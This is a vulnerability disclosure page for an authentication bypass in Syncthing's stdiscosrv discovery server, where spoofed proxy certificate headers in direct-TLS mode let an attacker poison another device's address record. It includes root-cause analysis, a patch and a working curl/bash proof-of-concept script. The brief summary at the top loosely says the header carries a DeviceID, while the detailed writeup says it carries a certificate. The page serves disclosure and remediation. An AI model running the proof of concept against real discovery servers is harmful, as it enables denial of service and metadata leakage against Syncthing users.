ANT-2026-B324R0JY · syncthing/syncthing
auth-bypass high
Severity Claude critical · Security research firm high · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.
ANT-2026-B324R0JY: stdiscosrv trusts proxy header for client identity in direct-TLS mode → DeviceID poisoning
In stdiscosrv's announcement endpoint (POST /), when the connection lacks a TLS client certificate the handler falls back to reading the client DeviceID from a proxy header that the remote client fully controls. That spoofed DeviceID and the announced addresses are passed to db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326 and persisted. Under the default direct-TLS deployment (no fronting proxy), any internet client can therefore create or overwrite the discovery record for an arbitrary victim DeviceID. This breaks the discovery server's core identity-binding guarantee and lets an attacker point peers looking up the victim to attacker-chosen addresses.
Target
Project: syncthing/syncthing
Location: cmd/stdiscosrv/apisrv.go:326
Technical Details
stdiscosrv POST / handler accepts an attacker-supplied proxy header as the client DeviceID when no TLS client certificate is presented, and writes the announced addresses to db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326. On the default direct-TLS configuration, any internet client can register/overwrite addresses for any victim DeviceID, breaking the discovery server's identity-binding guarantee.
Reproduction
- Connect to stdiscosrv's POST / endpoint without presenting a TLS client certificate.
- Set the proxy header to the target victim's DeviceID.
- Submit an announcement body containing attacker-controlled addresses.
- Handler accepts the header as the DeviceID and calls db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326, persisting the spoofed record.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Suggested Fix
In cmd/stdiscosrv/apisrv.go, when running in direct-TLS mode, ignore proxy-forwarded identity headers and require the TLS client certificate; derive deviceID only from the presented cert hash.
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-B324R0JY.
Reference: ANT-2026-B324R0JY
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | Stdiscosrv Trusts Proxy-Supplied Client Certificate Headers in Direct-TLS Mode, Enabling Unauthenticated DeviceID Record Poisoning |
| Severity Rating | High |
| Bug Category | Authentication Bypass / Improper Trust of Reverse-Proxy Headers |
| Location | cmd/stdiscosrv/apisrv.go:333 (certificateBytes), cmd/stdiscosrv/apisrv.go:257 (call site in handlePOST) |
| Affected Versions | All releases since v1.19.0 (proxy-header fallback introduced in commit 083fa1803, January 2022); confirmed on main at 44abd15162 |
Executive Summary
In stdiscosrv's announcement endpoint (POST /), when the connection lacks a TLS client certificate, the handler falls back to reading the client certificate from one of three reverse-proxy headers (X-Ssl-Cert, X-Tls-Client-Cert-Der-Base64, X-Forwarded-Tls-Client-Cert). This fallback is enabled in every deployment mode, including the default direct-TLS mode where no reverse proxy is in the request path and those headers are therefore attacker-controlled.
An unauthenticated remote attacker who possesses a victim's public certificate (commonly available to any past sync peer, relay operator, or discovery operator the victim has ever announced to) can register or overwrite the discovery record for the victim's DeviceID with attacker-chosen addresses. This breaks the discovery server's identity-binding guarantee and enables targeted denial of service and peer-graph metadata leakage. End-to-end sync data is not affected because the sync protocol independently authenticates peers via TLS client-cert pinning, which the attacker cannot bypass without the victim's private key.
Root Cause Analysis
Technical Description
stdiscosrv supports two deployment modes:
- Direct-TLS mode (default). stdiscosrv terminates TLS itself. Per the Global Discovery Protocol v3 specification, announcing clients are required to present a TLS client certificate; the server identifies the client by computing
DeviceID = SHA256(rawCert)and uses that identity to bind announced addresses. - Reverse-proxy mode (
--http). A trusted reverse proxy terminates TLS, verifies the client certificate cryptographically, then forwards the request to stdiscosrv over plain HTTP, re-injecting the verified certificate into one of the supported headers.
The function certificateBytes at cmd/stdiscosrv/apisrv.go:333 is responsible for extracting the announcing client's certificate. It first tries to read it from the actual TLS handshake:
func certificateBytes(req *http.Request) ([]byte, error) {
if req.TLS != nil && len(req.TLS.PeerCertificates) > 0 {
return req.TLS.PeerCertificates[0].Raw, nil
}
var bs []byte
if hdr := req.Header.Get("X-Ssl-Cert"); hdr != "" {
// ... parse PEM ...
} else if hdr := req.Header.Get("X-Tls-Client-Cert-Der-Base64"); hdr != "" {
// ... base64-decode ...
} else if cert := req.Header.Get("X-Forwarded-Tls-Client-Cert"); cert != "" {
// ... reconstruct PEM ...
}
// ...
}
The header-based branches were introduced to support the reverse-proxy deployment, where TLS terminates at the proxy and req.TLS.PeerCertificates is therefore unavailable. However, the fallback is taken regardless of whether the server is actually running behind a proxy. The deployment-mode flag s.useHTTP is consulted only for listener choice (apisrv.go:94) and for parsing X-Forwarded-For (apisrv.go:162); it does not gate the certificate-source headers.
In direct-TLS mode, an attacker can:
- Connect to stdiscosrv directly over TLS without presenting a client certificate. The TLS listener is configured with
ClientAuth: tls.RequestClientCert(apisrv.go:104), which requests but does not require a client cert, so the handshake succeeds. - Issue
POST /with the victim's public certificate placed inX-Tls-Client-Cert-Der-Base64(or one of the other accepted headers). certificateBytesreturns the attacker-supplied certificate,handlePOSTcomputesDeviceID = SHA256(rawCert)(apisrv.go:275) — yielding the victim's DeviceID — andhandleAnnouncepersists the attacker-controlled addresses viadb.merge(apisrv.go:326).
The crucial difference between the two sources is that req.TLS.PeerCertificates[0] is the cryptographic outcome of a successful TLS handshake (the client proved possession of the matching private key via CertificateVerify), while a header value is just bytes the client asked the server to trust. In proxy mode a trusted intermediary supplies the latter; in direct-TLS mode there is no such intermediary.
First Faulty Condition
| File | cmd/stdiscosrv/apisrv.go |
|---|---|
| Line | 333 |
| Condition | certificateBytes reads client certificate material from request headers (X-Ssl-Cert, X-Tls-Client-Cert-Der-Base64, X-Forwarded-Tls-Client-Cert) without checking whether the server is running in --http (reverse-proxy) mode. In direct-TLS mode no proxy has validated those headers, so they are attacker-controlled. |
Trace Analysis
Logic-bug trace from the entry point to the misbehavior:
apisrv.go:141—apiSrv.handlerdispatches the incoming HTTP request.apisrv.go:188— POST is routed tohandlePOST.apisrv.go:257—handlePOSTcallscertificateBytes(req)to obtain the announcing client's certificate.apisrv.go:334—certificateBytesfindsreq.TLS.PeerCertificatesempty (attacker connected over TLS without presenting a client cert) and falls through.apisrv.go:340-414—certificateBytesreads the certificate fromX-Ssl-Cert/X-Tls-Client-Cert-Der-Base64/X-Forwarded-Tls-Client-Certheaders without verifying the deployment is behind a proxy. First faulty condition.apisrv.go:275—handlePOSTderives the DeviceID viaprotocol.NewDeviceID(rawCert), which isSHA256(rawCert)(lib/protocol/deviceid.go:46). The resulting DeviceID matches the victim's, because the cert in the header is the victim's public certificate.apisrv.go:286→apisrv.go:305—handleAnnounceinvoked with the victim's DeviceID and attacker-supplied addresses.apisrv.go:326—s.db.merge(&deviceID, dbAddrs, seen)persists the spoofed record (the merge is a sorted-list union, so attacker addresses are added alongside any legitimately-announced ones rather than replacing them).
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network. |
|---|---|
| Authentication required | None. |
| User interaction required | None. |
| Reachable in default config | Yes. Default deployment is direct-TLS (no --http flag) and is documented as a fully supported configuration. The vulnerable header fallback fires unconditionally. |
| Entry point(s) | POST / over TLS, omitting the client certificate during the handshake and supplying the victim's public certificate in X-Tls-Client-Cert-Der-Base64 (or X-Ssl-Cert / X-Forwarded-Tls-Client-Cert). |
The primitive is discovery-layer integrity break, not a data-plane attack. Because the sync protocol authenticates peers end-to-end via TLS pinning to DeviceID == SHA256(peer_cert), an attacker who poisons the discovery record with their own IP cannot complete a sync handshake as the victim — they hold only the victim's public certificate, not the matching private key. Realistic impact is therefore limited to:
- Targeted denial of service against the victim's reachability.
- Peer-graph metadata leakage (who is trying to reach whom).
- Cross-server amplification: a malicious operator of one public stdiscosrv can replay certificates legitimately collected during real announcements to poison records on other public discovery servers the victim does not use.
The required prerequisite is possession of the victim's public certificate. Because the certificate is exchanged in every Syncthing TLS handshake (sync, relay, discovery), it is routinely available to any current or former peer of the victim, to any relay operator the victim has used, to any operator of a discovery server the victim has announced to, and to any network observer of a TLS 1.2 handshake involving the victim. This places the prerequisite at a relatively low bar in practice but it does prevent fully untargeted exploitation of arbitrary DeviceIDs.
Reproduction Steps
Environment
| OS / version | Ubuntu 24.04 |
|---|---|
| Target version / commit | main at 44abd15162c92bbf52abd2c594abdaad52f239bd (v2.1.0-rc.1+3) |
Steps
- Build and start stdiscosrv in default direct-TLS mode (no
--httpflag):
bash
go run build.go -no-upgrade build stdiscosrv
./stdiscosrv --listen=127.0.0.1:18443 \
--db-dir=$(pwd) \
--cert=$(pwd)/cert.pem \
--key=$(pwd)/key.pem \
-d
- Generate a "victim" certificate. Any small certificate works; this PoC uses EC P-256 because
opensslgenerates it in one line. Real Syncthing clients use Ed25519 for sync connections (lib/tlsutil/tlsutil.go:111), which is even smaller. Note thatstdiscosrvenforcesMaxHeaderBytes = 1 << 10, so any victim certificate whose base64-encoded DER form fits in the request header (true for both Ed25519 and EC P-256 in current Syncthing; false for legacy RSA-2048+ certificates) is exploitable:
bash
openssl ecparam -name prime256v1 -genkey -noout -out victim_key.pem
openssl req -new -x509 -key victim_key.pem -out victim_cert.pem \
-days 365 -subj "/CN=v"
- Compute the victim's DeviceID. The DeviceID is
SHA256(cert.Raw)encoded in Syncthing's base32+Luhn format. The attached helperdevid.go(placed undercmd/devid/in the syncthing tree) does this; from the syncthing repo root:
bash
mkdir -p cmd/devid && cp /path/to/devid.go cmd/devid/main.go
VICTIM_ID=$(go run ./cmd/devid victim_cert.pem)
echo "$VICTIM_ID"
- Confirm no record exists yet for the victim:
bash
curl -sk -o /dev/null -w "HTTP %{http_code}\n" \
"https://127.0.0.1:18443/?device=$VICTIM_ID"
# Expected: HTTP 404
- Execute the attack. Connect to stdiscosrv directly over TLS without presenting any client certificate, supply the victim's public certificate in
X-Tls-Client-Cert-Der-Base64, and announce attacker-chosen addresses:
bash
DER_B64=$(openssl x509 -in victim_cert.pem -outform DER | base64 -w0)
curl -sk -i -X POST \
-H "Content-Type: application/json" \
-H "X-Tls-Client-Cert-Der-Base64: $DER_B64" \
--data '{"addresses":["tcp://6.6.6.6:6666","tcp://7.7.7.7:7777"]}' \
"https://127.0.0.1:18443/"
# Expected: HTTP/2 204 No Content (announcement accepted)
- Verify the victim's discovery record is now under attacker control:
bash
curl -sk "https://127.0.0.1:18443/?device=$VICTIM_ID"
# Expected: HTTP 200
# {"seen":"...","addresses":["tcp://6.6.6.6:6666","tcp://7.7.7.7:7777"]}
The attached poc.sh performs steps 2–6 end-to-end against an already-running stdiscosrv on 127.0.0.1:18443.
Expected output
Lookup BEFORE attack: HTTP 404
Attacker POST: HTTP/2 204
Lookup AFTER attack: HTTP/2 200
{"addresses":["tcp://6.6.6.6:6666","tcp://7.7.7.7:7777"]}
PoC files
poc.sh— attack script (steps 2–6).devid.go— helper that prints the Syncthing DeviceID for a given PEM-encoded certificate. Drop intocmd/devid/main.goof the syncthing source tree.diff.patch— reference fix described below.
Recommended Fix
Option 1 (recommended). Refuse the proxy-header fallback when stdiscosrv is not running in --http mode. The protocol specification already states that announcements without a client certificate must be rejected with 403 Forbidden, so this restores the documented behavior in the default deployment. The change is small (≈10 lines) and is provided as diff.patch:
- Convert
certificateBytesfrom a free function to a method on*apiSrvso it can read the deployment-mode flag. - After the TLS-peer-certificate short-circuit, return early when
!s.useHTTP, before any header is inspected.
func (s *apiSrv) certificateBytes(req *http.Request) ([]byte, error) {
if req.TLS != nil && len(req.TLS.PeerCertificates) > 0 {
return req.TLS.PeerCertificates[0].Raw, nil
}
// Proxy-supplied client cert headers are only trustworthy when stdiscosrv
// is running behind a reverse proxy that has terminated TLS and verified
// the client cert. In direct-TLS mode (the default) these headers are
// attacker-controlled and must be ignored.
if !s.useHTTP {
return nil, errors.New("no client certificate")
}
var bs []byte
// ... existing X-Ssl-Cert / X-Tls-Client-Cert-Der-Base64 /
// X-Forwarded-Tls-Client-Cert parsing unchanged ...
}
The fix has been verified on the same setup: the attack POST that previously returned 204 No Content now returns 403 Forbidden, no record is created, and a legitimate client presenting a real TLS client certificate (curl --cert victim_cert.pem --key victim_key.pem ...) continues to announce successfully.
Option 2 (defense in depth). In the operator documentation, add an explicit warning that the X-Ssl-Cert, X-Tls-Client-Cert-Der-Base64, and X-Forwarded-Tls-Client-Cert headers are only honored in --http mode, and that a reverse proxy deployed in front of stdiscosrv must scrub any such headers received from clients before forwarding requests.
Patch provenance: AI-generated, Human-reviewed.
References
- Syncthing Global Discovery Protocol v3 — specifies that announcements require client certificate authentication and that the DeviceID is derived from the presented certificate.
- stdiscosrv operator documentation — describes direct-TLS as a supported default deployment and the reverse-proxy headers as a proxy-mode mechanism.
- Syncthing FAQ — Device ID secrecy — confirms DeviceIDs are public identifiers.
- CWE-290: Authentication Bypass by Spoofing.
- CWE-345: Insufficient Verification of Data Authenticity.
- Commit
083fa1803(PR #8092, January 2022) — introduced the proxy-header fallback that became the vulnerable code path.
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research
Attachment: diff.patch
diff --git a/cmd/stdiscosrv/apisrv.go b/cmd/stdiscosrv/apisrv.go
index 3a94dd3e9..b7b1239b5 100644
--- a/cmd/stdiscosrv/apisrv.go
+++ b/cmd/stdiscosrv/apisrv.go
@@ -254,7 +254,7 @@ func (s *apiSrv) handleGET(w http.ResponseWriter, req *http.Request) {
func (s *apiSrv) handlePOST(remoteAddr *net.TCPAddr, w http.ResponseWriter, req *http.Request) {
reqID := req.Context().Value(idKey).(requestID)
- rawCert, err := certificateBytes(req)
+ rawCert, err := s.certificateBytes(req)
if err != nil {
slog.Debug("Request without certificates", "id", reqID, "error", err)
announceRequestsTotal.WithLabelValues("no_certificate").Inc()
@@ -330,11 +330,19 @@ func handlePing(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusNoContent)
}
-func certificateBytes(req *http.Request) ([]byte, error) {
+func (s *apiSrv) certificateBytes(req *http.Request) ([]byte, error) {
if req.TLS != nil && len(req.TLS.PeerCertificates) > 0 {
return req.TLS.PeerCertificates[0].Raw, nil
}
+ // Proxy-supplied client cert headers are only trustworthy when stdiscosrv
+ // is running behind a reverse proxy that has terminated TLS and verified
+ // the client cert. In direct-TLS mode (the default) these headers are
+ // attacker-controlled and must be ignored.
+ if !s.useHTTP {
+ return nil, errors.New("no client certificate")
+ }
+
var bs []byte
if hdr := req.Header.Get("X-Ssl-Cert"); hdr != "" {
Attachment: poc.sh
#!/bin/bash
set -e
cd /home/ubuntu/poc
# Regenerate victim cert with EC P-256 (much smaller DER)
openssl ecparam -name prime256v1 -genkey -noout -out victim_key.pem
openssl req -new -x509 -key victim_key.pem -out victim_cert.pem -days 365 -subj "/CN=v" 2>/dev/null
DER_BYTES=$(openssl x509 -in victim_cert.pem -outform DER | wc -c)
echo "victim cert DER size: $DER_BYTES bytes"
# Recompute victim DeviceID (SHA256 of cert.Raw)
cd /home/ubuntu/syncthing # this is cloned source code directory
PATH=/usr/local/go-1.25/bin:$PATH go run ./cmd/devid /home/ubuntu/poc/victim_cert.pem > /tmp/vid
VICTIM_ID=$(cat /tmp/vid)
echo "victim DeviceID: $VICTIM_ID"
cd /home/ubuntu/poc
DER_B64=$(openssl x509 -in victim_cert.pem -outform DER | base64 -w0)
echo "base64 length: ${#DER_B64}"
echo
echo "=========================================="
echo "STEP 1: Lookup BEFORE (expect 404)"
echo "=========================================="
curl -sk -o /dev/null -w "HTTP %{http_code}\n" "https://127.0.0.1:18443/?device=$VICTIM_ID"
echo
echo "=========================================="
echo "STEP 2: Attacker POST (no client cert; spoofed X-Tls-Client-Cert-Der-Base64)"
echo "=========================================="
curl -sk -i \
-X POST \
-H "Content-Type: application/json" \
-H "X-Tls-Client-Cert-Der-Base64: $DER_B64" \
--data '{"addresses":["tcp://6.6.6.6:6666","tcp://7.7.7.7:7777"]}' \
"https://127.0.0.1:18443/" | head -8
echo
echo "=========================================="
echo "STEP 3: Lookup AFTER"
echo "=========================================="
curl -sk -i "https://127.0.0.1:18443/?device=$VICTIM_ID" | head -20
echo
echo "Saving victim DeviceID for later reference: $VICTIM_ID"
The change that resolved this finding.
diff --git a/cmd/stdiscosrv/apisrv.go b/cmd/stdiscosrv/apisrv.go
index 3a94dd3e91d..7c486669cc5 100644
--- a/cmd/stdiscosrv/apisrv.go
+++ b/cmd/stdiscosrv/apisrv.go
@@ -254,7 +254,7 @@ func (s *apiSrv) handleGET(w http.ResponseWriter, req *http.Request) {
func (s *apiSrv) handlePOST(remoteAddr *net.TCPAddr, w http.ResponseWriter, req *http.Request) {
reqID := req.Context().Value(idKey).(requestID)
- rawCert, err := certificateBytes(req)
+ rawCert, err := s.certificateBytes(req)
if err != nil {
slog.Debug("Request without certificates", "id", reqID, "error", err)
announceRequestsTotal.WithLabelValues("no_certificate").Inc()
@@ -330,10 +330,13 @@ func handlePing(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusNoContent)
}
-func certificateBytes(req *http.Request) ([]byte, error) {
+func (s *apiSrv) certificateBytes(req *http.Request) ([]byte, error) {
if req.TLS != nil && len(req.TLS.PeerCertificates) > 0 {
return req.TLS.PeerCertificates[0].Raw, nil
}
+ if !s.useHTTP {
+ return nil, errors.New("no certificate presented")
+ }
var bs []byte
https://github.com/syncthing/syncthing/commit/774aa11795a9edc904e8849e772a47804cf2aeb6
Dates from discovery through public reveal.
- 2026-04-10 Reported to tracker
- 2026-05-07 Sent to maintainer
- 2026-05-07 Maintainer acknowledged
- 2026-05-11 Patch released
- 2026-08-17 Publicly revealed
SHA-3-512 hash:
de0da45ed86fd10d44e03057e27a006b20bacdee8624c5a009c87453ce6834b64226c35871698a581e96030723b5c504051c7096ae0808b07a98adb40b60e711
Committed 2026-05-07 00:08 PT
Revealed 2026-08-17 13:02 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-B324R0JY",
"bug_class": "auth_bypass",
"claude_severity": "critical",
"commit_sha": null,
"created_at": "2026-04-10T23:56:33+00:00",
"description": "In stdiscosrv's announcement endpoint (POST /), when the connection lacks a TLS client certificate the handler falls back to reading the client DeviceID from a proxy header that the remote client fully controls. That spoofed DeviceID and the announced addresses are passed to db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326 and persisted. Under the default direct-TLS deployment (no fronting proxy), any internet client can therefore create or overwrite the discovery record for an arbitrary victim DeviceID. This breaks the discovery server's core identity-binding guarantee and lets an attacker point peers looking up the victim to attacker-chosen addresses.",
"discovered_at": null,
"location": "cmd/stdiscosrv/apisrv.go:326",
"poc_sha256": null,
"preimage_version": 1,
"project": "syncthing/syncthing",
"reproduction": [
"1. Connect to stdiscosrv's POST / endpoint without presenting a TLS client certificate.",
"2. Set the proxy header to the target victim's DeviceID.",
"3. Submit an announcement body containing attacker-controlled addresses.",
"4. Handler accepts the header as the DeviceID and calls db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326, persisting the spoofed record."
],
"technical_details": "stdiscosrv POST / handler accepts an attacker-supplied proxy header as the client DeviceID when no TLS client certificate is presented, and writes the announced addresses to db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326. On the default direct-TLS configuration, any internet client can register/overwrite addresses for any victim DeviceID, breaking the discovery server's identity-binding guarantee.",
"title": "stdiscosrv trusts proxy header for client identity in direct-TLS mode → DeviceID poisoning",
"vendor_severity": "high"
}